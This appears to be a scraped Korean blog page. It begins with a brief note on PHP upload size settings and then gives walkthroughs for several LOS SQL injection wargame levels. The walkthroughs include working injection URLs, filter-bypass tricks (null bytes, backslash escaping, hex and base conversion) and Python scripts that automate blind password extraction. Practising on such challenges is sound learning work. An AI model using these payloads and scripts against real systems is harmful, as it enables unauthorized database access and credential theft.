작은 크기의 파일을 업로드할때는 상관이 없지만 

파일크기가 클 경우에는 파일이 업로드 되지 않는다

이럴떄는 보통 멘붕을 겪게 되는데 

php.ini에서 설정을 해주어야 한다.



파일 업로드는 POST 방식으로 전송이 되는데 

보통 파일업로드가 되지 않을때는 크게 3가지 설정을 확인해봐야 한다.


upload_max_filesize

memory_limit

post_max_size

이 3가지를 확인 해야한다.


post_max_size는 말 그대로 post 방식으로 보내거나 받는 값의 최대 크기를 설정하는 것이다.


upload_max_filesize는 업로드 할 수 있는 최대 파일크기를 제한하는 것이다.

이미지 파일 올리는대 굳이 2G씩 잡을 필요는 없다.


만약 메모리제한 설정을 활성화 시켰다면 

memery_limit이 post_max_size보다 커야 한다.


즉 

memory_limit > post_max_size > upload_max_filesize 순으로 크기가 제한되어야 한다.














'Web Development > PHP' 카테고리의 다른 글

PHP mcrypt 함수 마이그레이션  (0) 2018.12.20
Laravel에서 PHP CLI 실행  (0) 2018.12.20
MVC 패턴  (0) 2016.02.08

http://los.sandbox.cash/chall/dark_eyes_54dda5c7a8bff987a29bd6fc9b2aa729.php?pw=%27or%20id=%27admin%27%20and%20substr(lpad(bin(ord(substr(pw,1,1))),8,%270%27),1,1)%20in%20(0,(select%201%20union%20select%202))%23


if와 case가 막혀있으므로 in 을 사용한다. 이것도 처음에 풀땐 함수찾는라 꽤 헤맸다.

왠 러시아 형님 블로그에 들어갔다.


쿼리를 해석해 보면 id가 admin이면서 pw의 값을 이진값으로 가져와서 그 값이 0인지 1인지 in 함수 안에서 비교한후 

0 in (0,(select 1 union select 2))%23이렇게 되면 select 1 union select 2를 실행을 안하지만

1 in (0,(select union select 2))%23이렇게 되면 select 1 union select 2를 실행해서 에러가 난다. 이걸로 비교를 하는것이다. 


5b2a5e3d

'War Game > LOS' 카테고리의 다른 글

LOS ORGE  (0) 2019.06.10
LOS Cobolt  (0) 2019.06.10
LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23

select id from prob_succubus where id='' and pw=''


이렇게 생겼지만 잘보면 \를 필터링 안하고 있다.


'앞에 \가 붙어버리면 다른 문자로 인식해버리기 때문에 



id=' \' and pw=' 

저 부분을 전부 id로 인식해 버린다. 즉 뒤에다가 || 연산만 더해주면 끝


http://los.sandbox.cash/chall/succubus_1e73ac44ec838508bd2b2ce2026af8cf.php?id=\&pw=||1%23


뒤에를 주석처리해주면 된다.

'War Game > LOS' 카테고리의 다른 글

LOS Cobolt  (0) 2019.06.10
LOS DARK_EYES  (0) 2015.10.24
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23


자 문제를 보면 
  if(@ereg("'",$_GET[id])) exit("HeHe"); 
  if(@
ereg("'",$_GET[pw])) exit("HeHe"); 

ereg가 있다.


존나 취약하다


ereg 와 eregi는 존나 취약하다

ereg는  null값까지만 받고



떄문에 %00을 넣어주고 


id=%00'||1%23

해주게 되면 id를 그만 입력받고 뒤에 값을 || 연산한후 뒤에 쿼리를 주석처리해 버린다.


http://los.sandbox.cash/chall/zombie_assassin_eb9c4ab86b8c26748f3ce3e91dcd4dd8.php?id=%00%27||1%23

'War Game > LOS' 카테고리의 다른 글

LOS DARK_EYES  (0) 2015.10.24
LOS SUCCUBUS  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22

보아하니 %연산자를 이용한 공격이다.


pw like 'a%' 를 하게될 경우 a로 시작하는 모든 값을 검색한다. 즉 참이 된다



페이로드를 날려보면


import requests
 
 
 
key=""
site=""
header={'Cookie':'PHPSESSID=vj0mghpj5cs5n24hh6pr7r4ne6'}
for j in range(1,12):
        for i in reversed(range(48,91)):
                site="http://los.sandbox.cash/chall/assassin_dbfabd99373ea659e58407bc1a8438c6.php?pw="
                site+=key+chr(i)+"%"
                print (site)
                r=requests.put(site,headers=header)
                
                if "<br><h2>Hello guest" in r.text:
                        break
        key+=chr(i)
        print ("\nkey"+key+"\n")
                
print ("\n\n\nF\nKey is :"+key+" \n\n\n")

해보면 


90d2fe10


이게 답이라고 한다.


근데 아무리 해도 안나오는걸 보면 admin pw랑 겹치는 부분이 있는것 같다.


그래서 9% 90% 이런식으로 다시 한번 해보았다. 


정답이었다. 


902EFD10

'War Game > LOS' 카테고리의 다른 글

LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22
LOS DARKKNIGHT  (0) 2015.10.22

select 1234 fromprob_giant where 1


fromprob_giant가 붙어있다.

저걸 \n이나 \r로 띄어줘야 하는데 죄다 필터링 되있다 하지만 url encoding 표를 보면 %0a, %0b %0c 등을 쓰고 있다.



http://los.sandbox.cash/chall/giant_0ea82d6bd3e3cb4614e318f096753475.php?shit=%0c



'War Game > LOS' 카테고리의 다른 글

LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22
LOS DARKKNIGHT  (0) 2015.10.22
LOS SKELETON  (0) 2015.10.19

dark_knight는 0x가 먹혀서 hex로 우회 했지만 이건 다막았다. 

이걸 당시에 풀떄는 엄청나게 삽질을 했었는데 결국 찾아낸 방법은 

문자를 하나하나 진법 변환하여 붙이는 방법이었다. 

concat()은 문자를 합쳐서 문자열을 만들어 주는 함수 이고


conv()는 진법을 변환해주는 함수다



conv(초기값, 초기진수, 변환진수)이거다


10,10,36이라면


10진수 10을 36진수로 바꾸면 A

13진수 10을 36진수로 바꾸면 D 


이런식으로 admin을 문자를 만든후 합쳐주면 된다.




import requests
 
 
 
site=""
key=""
header={'Cookie':'PHPSESSID='}
for j in range(1,9):
        for i in range(0,36):
                
                site="http://los.sandbox.cash/chall/bugbear_b5bab623f7cba12e66b27364bedb710b.php?no=1||id/**/in/**/(CONCAT(conv(10,10,36),conv(10,13,36),conv(10,22,36),conv(10,18,36),conv(10,23,36)))%26%26if"
                site+="(mid(pw,"+str(j)+",1)in(conv("+str(i)+",10,36)),1,0)"
                
                print (site)
 
               
                r=requests.put(site,headers=header)
 
                
                if "h2>Hello admin</h2" in r.text:
                  key+="conv("+str(i)+",10,36),"
                  print ("key : %s "%key)
                  break;

결과값은 이렇게 나온다


이제 mysql에서 돌려서 확인해보면 된다.


conv(5,10,36),conv(2,10,36),conv(13,10,36),conv(12,10,36),conv(3,10,36),conv(9,10,36),conv(9,10,36),conv(1,10,36),


http://los.sandbox.cash/chall/bugbear_b5bab623f7cba12e66b27364bedb710b.php?pw=52dc3991



소문자로 바꿔서 해주면 된다. 


출처 : http://unknown84.tistory.com/17

'War Game > LOS' 카테고리의 다른 글

LOS ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23
LOS DARKKNIGHT  (0) 2015.10.22
LOS SKELETON  (0) 2015.10.19
LOS GOELM  (0) 2015.10.19

pw 는 '가 필터링 되므로  no  부분에서 공격 

substr, ascii, = 이 필터링 되므로 admin 을  hex로 바꾸고 

=대신 like를 써서 공격한다.





http://los.sandbox.cash/chall/darkknight_141d7d5d93452a2e1f8c1ab8ecb81a92.php?no=0||id%20like%200x61646d696e%26%26mid(lpad(bin(ord(mid(pw,1,1))),8,0),8,1)




import requests
 
 
 
key=""
site=""
q=0
w=1
header={'Cookie':'PHPSESSID='}
for j in range(1,12):
        for i in reversed(range(1,9)):
                site="http://los.sandbox.cash/chall/darkknight_141d7d5d93452a2e1f8c1ab8ecb81a92.php?no="
                site+="0||id%20like%200x61646d696e%26%26mid(lpad(bin(ord(mid(pw,"+str(j)+",1))),8,0),"+str(i)+",1)"
                print (site)
                r=requests.put(site,headers=header)
                
                if "<br><h2>Hello admin" in r.text:
                  q+=w
                w=w*2
        key+=chr(q)
        print ("\nkey : "+key+"\n")
        q=0
        w=1
                



예전에 풀었던 풀이는 잃어버려서 진우껄 빌려왔다.


출처 : http://unknown84.tistory.com/16

'War Game > LOS' 카테고리의 다른 글

LOS GIANT  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22
LOS SKELETON  (0) 2015.10.19
LOS GOELM  (0) 2015.10.19
LOS Troll  (0) 2015.09.16

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or%20%271%27=%271%27%26%26id=%27admin%27%23

'War Game > LOS' 카테고리의 다른 글

LOS BUGBEAR  (0) 2015.10.22
LOS DARKKNIGHT  (0) 2015.10.22
LOS GOELM  (0) 2015.10.19
LOS Troll  (0) 2015.09.16
LOS ORGE  (0) 2015.09.14

http://los.sandbox.cash/chall/golem_9433f16f7a3899d7cf3fe48330f22018.php?pw=%27||ascii(right(left(pw,9),1))%3C100%20%26%26id%20like%20%27admin%27%23

'War Game > LOS' 카테고리의 다른 글

LOS DARKKNIGHT  (0) 2015.10.22
LOS SKELETON  (0) 2015.10.19
LOS Troll  (0) 2015.09.16
LOS ORGE  (0) 2015.09.14
LOS DarkElf  (0) 2015.09.14

+ Recent posts